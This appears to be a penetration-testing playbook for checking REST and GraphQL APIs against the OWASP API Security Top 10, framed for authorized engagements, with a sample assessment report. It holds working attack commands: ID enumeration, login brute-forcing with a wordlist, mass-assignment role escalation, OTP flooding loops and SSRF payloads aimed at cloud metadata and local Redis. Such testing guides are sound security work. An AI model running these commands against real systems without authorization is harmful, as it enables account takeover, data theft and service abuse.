Testing API Security with OWASP Top 10

When to Use

• During authorized API penetration testing engagements
• When assessing REST, GraphQL, or gRPC APIs for security vulnerabilities
• Before deploying new API endpoints to production environments
• When reviewing API security posture against the OWASP API Security Top 10 (2023)
• For validating API gateway security controls and rate limiting effectiveness

Prerequisites

• Authorization: Written scope document covering all API endpoints to be tested
• Burp Suite Professional: For intercepting and modifying API requests
• Postman: For organizing and executing API test collections
• ffuf: For API endpoint and parameter fuzzing
• curl/httpie: Command-line HTTP clients for manual testing
• API documentation: Swagger/OpenAPI spec, GraphQL schema, or API docs
• jq: JSON processor for parsing API responses (apt install jq)

Workflow

Step 1: Discover and Map API Endpoints

Enumerate all available API endpoints and understand the API surface.

# If OpenAPI/Swagger spec is available, download it
curl -s "https://api.target.example.com/swagger.json" | jq '.paths | keys[]'
curl -s "https://api.target.example.com/v2/api-docs" | jq '.paths | keys[]'
curl -s "https://api.target.example.com/openapi.yaml"

# Fuzz for API endpoints
ffuf -u "https://api.target.example.com/api/v1/FUZZ" \
  -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
  -mc 200,201,204,301,401,403,405 \
  -fc 404 \
  -H "Content-Type: application/json" \
  -o api-enum.json -of json

# Fuzz for API versions
for v in v1 v2 v3 v4 beta internal admin; do
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    "https://api.target.example.com/api/$v/users")
  echo "$v: $status"
done

# Check for GraphQL endpoint
for path in graphql graphiql playground query gql; do
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST -H "Content-Type: application/json" \
    -d '{"query":"{__typename}"}' \
    "https://api.target.example.com/$path")
  echo "$path: $status"
done

Step 2: Test API1 - Broken Object Level Authorization (BOLA)

Test whether users can access objects belonging to other users by manipulating IDs.

# Authenticate as User A and get their resources
TOKEN_A="Bearer eyJhbGciOiJIUzI1NiIs..."
curl -s -H "Authorization: $TOKEN_A" \
  "https://api.target.example.com/api/v1/users/101/orders" | jq .

# Try accessing User B's resources with User A's token
curl -s -H "Authorization: $TOKEN_A" \
  "https://api.target.example.com/api/v1/users/102/orders" | jq .

# Fuzz object IDs with Burp Intruder or ffuf
ffuf -u "https://api.target.example.com/api/v1/orders/FUZZ" \
  -w <(seq 1 1000) \
  -H "Authorization: $TOKEN_A" \
  -mc 200 -t 10 -rate 50

# Test IDOR with different ID formats
# Numeric: /users/102
# UUID: /users/550e8400-e29b-41d4-a716-446655440000
# Encoded: /users/MTAy (base64)

Step 3: Test API2 - Broken Authentication

Assess authentication mechanisms for weaknesses.

# Test for missing authentication
curl -s "https://api.target.example.com/api/v1/users" | jq .

# Test JWT token vulnerabilities
# Decode JWT without verification
echo "eyJhbGciOiJIUzI1NiIs..." | cut -d. -f2 | base64 -d 2>/dev/null | jq .

# Test "alg: none" attack
# Header: {"alg":"none","typ":"JWT"}
# Create unsigned token with modified claims

# Test brute-force protection on login
ffuf -u "https://api.target.example.com/api/v1/auth/login" \
  -X POST -H "Content-Type: application/json" \
  -d '{"email":"admin@target.com","password":"FUZZ"}' \
  -w /usr/share/seclists/Passwords/Common-Credentials/top-1000.txt \
  -mc 200 -t 5 -rate 10

# Test password reset flow
curl -s -X POST "https://api.target.example.com/api/v1/auth/reset" \
  -H "Content-Type: application/json" \
  -d '{"email":"victim@target.com"}'

# Check if token is in response body instead of email only

Step 4: Test API3 - Broken Object Property Level Authorization

Test for excessive data exposure and mass assignment vulnerabilities.

# Check for excessive data in responses
curl -s -H "Authorization: $TOKEN_A" \
  "https://api.target.example.com/api/v1/users/101" | jq .
# Look for: password hashes, SSNs, internal IDs, admin flags, PII

# Test mass assignment - try adding admin properties
curl -s -X PUT \
  -H "Authorization: $TOKEN_A" \
  -H "Content-Type: application/json" \
  -d '{"name":"Test User","role":"admin","is_admin":true}' \
  "https://api.target.example.com/api/v1/users/101" | jq .

# Test with PATCH method
curl -s -X PATCH \
  -H "Authorization: $TOKEN_A" \
  -H "Content-Type: application/json" \
  -d '{"role":"admin","balance":999999}' \
  "https://api.target.example.com/api/v1/users/101" | jq .

# Check if filtering parameters expose more data
curl -s -H "Authorization: $TOKEN_A" \
  "https://api.target.example.com/api/v1/users/101?fields=all" | jq .
curl -s -H "Authorization: $TOKEN_A" \
  "https://api.target.example.com/api/v1/users/101?include=password,ssn" | jq .

Step 5: Test API4/API6 - Rate Limiting and Unrestricted Access to Sensitive Flows

Verify rate limiting and resource consumption controls.

# Test rate limiting on authentication endpoint
for i in $(seq 1 100); do
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST -H "Content-Type: application/json" \
    -d '{"email":"test@test.com","password":"wrong"}' \
    "https://api.target.example.com/api/v1/auth/login")
  echo "Attempt $i: $status"
  if [ "$status" == "429" ]; then
    echo "Rate limited at attempt $i"
    break
  fi
done

# Test for unrestricted resource consumption
# Large pagination
curl -s -H "Authorization: $TOKEN_A" \
  "https://api.target.example.com/api/v1/users?limit=100000&offset=0" | jq '. | length'

# GraphQL depth/complexity attack
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: $TOKEN_A" \
  -d '{"query":"{ users { friends { friends { friends { friends { name } } } } } }"}' \
  "https://api.target.example.com/graphql"

# Test SMS/email flooding via OTP endpoint
for i in $(seq 1 20); do
  curl -s -X POST -H "Content-Type: application/json" \
    -d '{"phone":"+1234567890"}' \
    "https://api.target.example.com/api/v1/auth/send-otp"
done

Step 6: Test API5 - Broken Function Level Authorization

Check for privilege escalation through administrative endpoints.

# Test admin endpoints with regular user token
ADMIN_ENDPOINTS=(
  "/api/v1/admin/users"
  "/api/v1/admin/settings"
  "/api/v1/admin/logs"
  "/api/v1/internal/config"
  "/api/v1/users?role=admin"
  "/api/v1/admin/export"
)

for endpoint in "${ADMIN_ENDPOINTS[@]}"; do
  for method in GET POST PUT DELETE; do
    status=$(curl -s -o /dev/null -w "%{http_code}" \
      -X "$method" \
      -H "Authorization: $TOKEN_A" \
      -H "Content-Type: application/json" \
      "https://api.target.example.com$endpoint")
    if [ "$status" != "403" ] && [ "$status" != "401" ] && [ "$status" != "404" ]; then
      echo "POTENTIAL ISSUE: $method $endpoint returned $status"
    fi
  done
done

# Test HTTP method switching
# If GET /admin/users returns 403, try:
curl -s -X POST -H "Authorization: $TOKEN_A" \
  "https://api.target.example.com/api/v1/admin/users"

Step 7: Test API7-API10 - SSRF, Misconfiguration, Inventory, and Unsafe Consumption

# API7: Server-Side Request Forgery
curl -s -X POST -H "Authorization: $TOKEN_A" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/"}' \
  "https://api.target.example.com/api/v1/fetch-url"

curl -s -X POST -H "Authorization: $TOKEN_A" \
  -H "Content-Type: application/json" \
  -d '{"webhook_url":"http://127.0.0.1:6379/"}' \
  "https://api.target.example.com/api/v1/webhooks"

# API8: Security Misconfiguration
# Check CORS policy
curl -s -I -H "Origin: https://evil.example.com" \
  "https://api.target.example.com/api/v1/users" | grep -i "access-control"

# Check for verbose error messages
curl -s -X POST -H "Content-Type: application/json" \
  -d '{"invalid": "data' \
  "https://api.target.example.com/api/v1/users"

# Check security headers
curl -s -I "https://api.target.example.com/api/v1/health" | grep -iE \
  "(x-frame|x-content|strict-transport|content-security|x-xss)"

# API9: Improper Inventory Management
# Test deprecated API versions
for v in v0 v1 v2 v3; do
  curl -s -o /dev/null -w "$v: %{http_code}\n" \
    "https://api.target.example.com/api/$v/users"
done

# API10: Unsafe Consumption of APIs
# Test if the API blindly trusts third-party data
# Check webhook/callback implementations for injection

Key Concepts

Concept	Description
BOLA (API1)	Broken Object Level Authorization - accessing objects belonging to other users
Broken Authentication (API2)	Weak authentication mechanisms allowing credential stuffing or token manipulation
BOPLA (API3)	Broken Object Property Level Authorization - excessive data exposure or mass assignment
Unrestricted Resource Consumption (API4)	Missing rate limiting enabling DoS or brute-force attacks
Broken Function Level Auth (API5)	Regular users accessing admin-level API functions
SSRF (API7)	Server-Side Request Forgery through API parameters accepting URLs
Security Misconfiguration (API8)	Missing security headers, verbose errors, permissive CORS
Improper Inventory (API9)	Undocumented, deprecated, or shadow API endpoints left exposed

Tools & Systems

Tool	Purpose
Burp Suite Professional	API interception, scanning, and manual testing
Postman	API collection management and automated test execution
ffuf	API endpoint and parameter fuzzing
Kiterunner	API endpoint discovery using common API path patterns
jwt_tool	JWT token analysis, manipulation, and attack automation
GraphQL Voyager	GraphQL schema visualization and introspection analysis
Arjun	HTTP parameter discovery for API endpoints

Common Scenarios

Scenario 1: BOLA in E-commerce API

User A can access User B's order details by changing the order ID in /api/v1/orders/{id}. The API only checks authentication but not authorization on the object level.

Scenario 2: Mass Assignment on User Profile

The user update endpoint accepts a role field in the JSON body. By adding "role":"admin" to a profile update request, a regular user escalates to administrator privileges.

Scenario 3: Deprecated API Version Bypass

The /api/v2/users endpoint has proper rate limiting, but /api/v1/users (still active) has no rate limiting. Attackers use the old version to brute-force credentials.

Scenario 4: GraphQL Introspection Data Leak

GraphQL introspection is enabled in production, exposing the entire schema including internal queries, mutations, and sensitive field names that are not used in the frontend.

Output Format

## API Security Assessment Report

**Target**: api.target.example.com
**API Type**: REST (OpenAPI 3.0)
**Assessment Date**: 2024-01-15
**OWASP API Security Top 10 (2023) Coverage**

| Risk | Status | Severity | Details |
|------|--------|----------|---------|
| API1: BOLA | VULNERABLE | Critical | /api/v1/orders/{id} - IDOR confirmed |
| API2: Broken Auth | VULNERABLE | High | No rate limit on /auth/login |
| API3: BOPLA | VULNERABLE | High | User role modifiable via mass assignment |
| API4: Resource Consumption | VULNERABLE | Medium | No pagination limit enforced |
| API5: Function Level Auth | PASS | - | Admin endpoints properly restricted |
| API6: Unrestricted Sensitive Flows | VULNERABLE | Medium | OTP endpoint lacks rate limiting |
| API7: SSRF | PASS | - | URL parameters properly validated |
| API8: Misconfiguration | VULNERABLE | Medium | Verbose stack traces in error responses |
| API9: Improper Inventory | VULNERABLE | Low | API v1 still accessible without docs |
| API10: Unsafe Consumption | NOT TESTED | - | No third-party API integrations found |

### Critical Finding: BOLA on Orders API
Authenticated users can access any order by iterating order IDs.
Tested range: 1-1000, 847 valid orders accessible.
PII exposure: names, addresses, payment details.